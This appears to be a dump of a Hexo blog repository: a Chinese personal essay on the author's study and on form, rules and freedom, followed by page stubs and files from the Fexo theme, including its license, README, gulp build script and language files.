5 | kerywords: 人生路漫漫 上下而求索 平静且耐力 情 求道 真我 生活 总结 随笔
6 | tags: 漫漫人生路
7 | ---
8 |
9 |
10 | 開新小室,是我的书房。这个名字是几年前取的,如今又用作了博客的名字。环顾书房,不足十平。两排书柜,一椅一桌就占去了几乎所有的空间。之所以这样取名,是因为恰好是读到了陆游的一首五律《新开小室》。囿于一己执念,外加对书房的期望过高,因此便取名为开新小室,寓意着常开常新。原诗是这样的:
11 |
12 |
13 | 《新开小室》陆游
14 |
15 | 并檐开小室,仅可容一几。
16 |
17 | 东为读书窗,初日满窗纸。
18 |
19 | 衰眸顿清澈,不畏字如螘。
20 |
21 | 琅然弦诵声,和答有稚子。
22 |
23 | 余年犹几何,此事殊可喜。
24 |
25 | 山童报炊熟,束卷可以起。
26 |
27 |
28 | 诗中一几之地,一窗之亮,陆翁未绝简陋,在小室之中读书写字,教习稚子,温馨又可喜。此时此刻,坐在书桌之前写这篇博客,也让我觉得无比的自由闲暇。方寸之间,灵台清明。我想彼时彼刻,陆翁应该也是自由自在的吧!
29 |
30 | # 形式
31 |
32 | 形式带来的自由,是展现的自由。**选择什么样的形式,就会让人感觉到什么样的“自由”**。性和钱财,是不同人追求的形式。权势亦是。一旦获得了最终的形式,就会开始感到自由。最后放大,幻化。**一部分的形式幻化为规矩,另一部分的形式幻化为信仰。**
33 |
34 | 莫言在《不被大风吹倒》里有一篇文章,大致是讲他一天的生活。每日午睡个三四个小时,起床后用冷水洗把脸,再泡杯浓茶,点支烟,边抽边开始翻书。这种形式已经成为了他的一种生活习惯,又或者说生活习惯就是一种典型的形式。每个人都有他自己的生活习惯和形式,在形式里感到自由,又在自由里享受形式。我在书房的时候,无论是看书、看剧,还是什么也不干。打盹,眯着眼睛,都会觉得十分舒适。书房像是我通往自由的介质,看着书桌上摆放的电脑、书本、笔筒、台灯、儿子的照片。形式此时此刻更像是变成了仪式。在刻意创造的仪式里享受着属于那一时一刻的放松,自由无处不在。然而我的字写的并不是很好看,台灯也几乎都是合着的状态。
35 |
36 | 回到形式带来的“自由”,酒足饭饱是,鼾声如雷也是;放浪形骸是,花天酒地也是;勤勉工作是,无所事事也是。可是为什么饱食终日无所事事也会惫懒?为什么放浪形骸沉湎声色之后也会空虚?**感官的形式体验,使人得到了一定阈值的满足后,真的便是自由吗?** 一旦形式发生改变,是否便不再享有自由?
37 |
38 | 但即便抛却了对形式的依赖,屏蔽了对感官的迷恋。就真的在形式外自由了吗?心经里说:“无受想行识,无眼耳鼻舌身意,无色身香味触法,无眼界,乃至无意识界”。但真的上山隐居了,当和尚做道士又何尝不是另外一种形式?有几人修的真境界?为了形式(自由)的形式,不过是另一种随波逐流罢了。吃斋念佛的居士做不到,青灯黄卷的出家人也做不到。**对自由真正的信仰不应存在任何形式上的依赖,由心而生的追求也不受限于任何世俗的参照物。**
39 |
40 | # 规矩
41 |
42 | 外在的形式终归受到内在规矩的约束,有所求便不自由。规矩带来的自由是过程的自由。从没有意识到规矩,到在规矩里游刃有余,以及打破规矩。这是三种不同程度的自由。这和看山是山,看水是水的境界很像。从看山是山,看水是水(昨夜西风凋碧树,独上高楼,望尽天涯路);到看山不是山,看水不是水(衣带渐宽终不悔,为伊消得人憔悴);再到看山是山,看水是水(众里寻他千百度,蓦然回首那人却在灯火阑珊处);从不受形式的约束,到不受规则的约束。这场永恒的博弈里,没有观众,每个人身在局中。也不仅是和自己博弈。
43 |
44 | 从个体到群体,无一不充斥着或明或暗的规矩/则。可以是小时候的吃饭不能看电视,也可以是上学时的准点就熄灯入寝;可以是杭州的DeepSeek,也可以是山东的DeepDrink(网络梗);可以是牛马的“好的,收到”,也可以是鸡鸭的“换一批”;**对形式的自由越享受,对规矩的约束就越敏感**。你不懂,别人就要嘲笑你。坐享其成的Old School为守住规则而信誓旦旦,而标榜破局的新贵们则通过向上管理换取更多的形式主义。这场从形式幻化的规矩游戏,让更多的后来者对服从产生了盲目的自信。从赤子到耄耋,求功名利禄,饱五脏六腑。实则声色犬马皆为过往,生老病死才是天地桎梏。
45 |
46 | # 自由
47 |
48 | **自由只在追逐自由的过程之中**,不在自由本身。享受过程,便是自由。放弃对形式的执著,对规矩的幻想,便是自由。有人说过,这世上的人只有两种,不是牛马,就是鸡鸭。人在俗世,完全杜绝世俗欲望的可能微乎其微。每个人的感官阈值不同,所谓的规矩门槛也不同。抛却外在的形式是件相对容易的事,出家人已经开始了第一步。但放弃对规矩的幻想,则是难上加难。万丈深渊,只有自渡。出家人以为能修成正果,往登极乐便是自由,却不知戒律清规正是另一重枷锁。天道不仁,以万物为刍狗。帝王将相,又如何?**对强权的盲目崇拜和精致的利己一样无端可笑**。
49 |
50 | 道德经说:“失道而后德,失德而后仁,失仁而后义,失义而后礼”。不同年代的形式和规矩不甚相同,不同地区的也不会完全相同。因为追求各种不同的形式,反而陷入了各种不同的规矩之中。古时的礼义廉耻的尺度也不再适用当下,短视频里的清凉小妹和精神小伙花手能摇出天际。性的解放也使交易更加的自由。
51 |
52 | 职场有职场的规矩,生活有生活的规矩。社会上的繁文缛节,当作门槛,明争暗斗,当作历练。实际上统统不值一提,不过是利益在规则的游戏里完成了互换。一方面在旧的秩序里寻找自由,一方面又要在新的趋势里避免焦虑。你的自由,他的枷锁。你的蜜糖,他的砒霜。
53 |
54 | 但是生活没有“标准”的形式。若天地为桎梏,肉身岂能解脱?超然生死之外,又何惧身形不堪。打破规矩不意味着放弃责任。正视形式的缺陷,心无愧则身不累,有原则则有了自由。我没有去讨论原则,但追求自由的过程一定建立在原则之上。最后的最后我已经不知道在写什么了,只知道我还在追求自由的道路之上。
--------------------------------------------------------------------------------
/source/category/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: category
3 | layout: category
4 | comments: false
5 | ---
--------------------------------------------------------------------------------
/source/project/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: project
3 | layout: project
4 | comments: false
5 | ---
--------------------------------------------------------------------------------
/source/search/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: search
3 | layout: search
4 | comments: false
5 | ---
--------------------------------------------------------------------------------
/source/tag/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: tag
3 | layout: tag
4 | comments: false
5 | ---
--------------------------------------------------------------------------------
/themes/fexo2/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 forsigner
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/themes/fexo2/README.md:
--------------------------------------------------------------------------------
1 | # Fexo
2 |
3 | > A minimalist design theme for Hexo.
4 |
5 | > 一个极简主义设计的 Hexo 主题。
6 |
7 | Demo
8 | |
9 | 文档
10 | |
11 | 文檔
12 | |
13 | Doc
14 |
15 | 
16 | 
17 | 
18 |
19 |
20 | ### Browser compatibility
21 |
22 | - IE8+
23 | - Firefox
24 | - Chrome
25 | - Safari
26 | - Opera
27 |
28 | ### Contributing
29 |
30 | All kinds of contributions are welcome.
31 | All pull requests should be done on the dev branch.
32 |
33 | 欢迎任何改善的贡献,欢迎 Pull request 到 dev 分支。
34 |
35 | ### License
36 |
37 | [MIT](LICENSE)
38 |
--------------------------------------------------------------------------------
/themes/fexo2/gulpfile.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | var gulp = require('gulp');
4 | var sass = require('gulp-sass');
5 | var postcss = require('gulp-postcss');
6 | var sourcemaps = require('gulp-sourcemaps');
7 | var autoprefixer = require('autoprefixer');
8 | var reveasy = require('gulp-rev-easy');
9 | var path = require('path');
10 | var concat = require('gulp-concat');
11 | var uglify = require('gulp-uglify');
12 |
13 | gulp.task('default', ['sass', 'scripts'], function() {
14 | gulp.watch('./source/sass/**/*.scss', ['sass']);
15 | gulp.watch('./source/js/**/*.js', ['scripts']);
16 | });
17 |
18 | gulp.task('sass', function() {
19 | return gulp.src('./source/sass/*.scss')
20 | .pipe(sourcemaps.init())
21 | .pipe(sass({
22 | outputStyle: 'compressed'
23 | }).on('error', sass.logError))
24 | .pipe(postcss([autoprefixer()]))
25 | .pipe(sourcemaps.write('.'))
26 | .pipe(gulp.dest('./source/css'));
27 | });
28 |
29 | gulp.task('scripts', function() {
30 | var files = [
31 | './source/js/fastclick.js',
32 | './source/js/scroll-spy.js',
33 | './source/js/zenscroll.js',
34 | './source/js/util.js',
35 | './source/js/app.js'
36 | ];
37 |
38 | return gulp.src(files)
39 | .pipe(concat('bundle.js'))
40 | .pipe(uglify())
41 | .pipe(gulp.dest('./source/js'));
42 | });
43 |
44 | gulp.task('rev', function(argument) {
45 | gulp.src('./layout/_partial/style.ejs')
46 | .pipe(reveasy({
47 | base: path.join(process.cwd(), 'source'),
48 | fileTypes: ['css', 'js']
49 | }))
50 | .pipe(gulp.dest('./layout/_partial'))
51 | })
52 |
--------------------------------------------------------------------------------
/themes/fexo2/languages/default.yml:
--------------------------------------------------------------------------------
1 | categories: 分类
2 | search: 搜索
3 | tags: 标签
4 | tagcloud: 标签云
5 | tweets: 推文
6 | prev: 上一页
7 | next: 下一页
8 | comment: 留言
9 | archive_a: 归档
10 | archive_b: 归档:%s
11 | page: 第 %d 页
12 | recent_posts: 最新文章
13 | close: 关闭
14 | posts_list: 文章目录
15 | location:
16 | about: 关于
17 | blog: 博客
18 | categories: 分类
19 | links: 友链
20 | projects: 项目
21 | search: 搜索
22 | tags: 标签
23 |
--------------------------------------------------------------------------------
/themes/fexo2/languages/en.yml:
--------------------------------------------------------------------------------
1 | categories: Categories
2 | search: Search
3 | tags: Tags
4 | tagcloud: Tag Cloud
5 | tweets: Tweets
6 | prev: Prev
7 | next: Next
8 | comment: Comments
9 | archive_a: Archives
10 | archive_b: "Archives: %s"
11 | page: Page %d
12 | recent_posts: Recent Posts
13 | close: Close
14 | posts_list: Posts List
15 | location:
16 | about: About
17 | blog: Blog
18 | categories: Categories
19 | links: Links
20 | projects: Projects
21 | search: Search
22 | tags: Tags
23 |
--------------------------------------------------------------------------------
/themes/fexo2/languages/zh-CN.yml:
--------------------------------------------------------------------------------
1 | categories: 分类
2 | search: 搜索
3 | tags: 标签
4 | tagcloud: 标签云
5 | tweets: 推文
6 | prev: 上一页
7 | next: 下一页
8 | comment: 留言
9 | archive_a: 归档
10 | archive_b: 归档:%s
11 | page: 第 %d 页
12 | recent_posts: 最新文章
13 | close: 关闭
14 | posts_list: 文章目录
15 | location:
16 | about: 关于
17 | blog: 博客
18 | categories: 分类
19 | links: 友链
20 | projects: 项目
21 | search: 搜索
22 | tags: 标签
23 |
--------------------------------------------------------------------------------
/themes/fexo2/languages/zh-TW.yml:
--------------------------------------------------------------------------------
1 | categories: 分類
2 | search: 搜尋
3 | tags: 標籤
4 | tagcloud: 標籤雲
5 | tweets: 推文
6 | prev: 上一頁
7 | next: 下一頁
8 | comment: 留言
9 | archive_a: 彙整
10 | archive_b: 彙整:%s
11 | page: 第 %d 頁
12 | recent_posts: 最新文章
--------------------------------------------------------------------------------
/themes/fexo2/layout/_partial/article.ejs:
--------------------------------------------------------------------------------
1 |
48 | <%= theme.excerpt_link %>
49 | <%= post.title || '(no title)' %>
4 |
5 |
41 |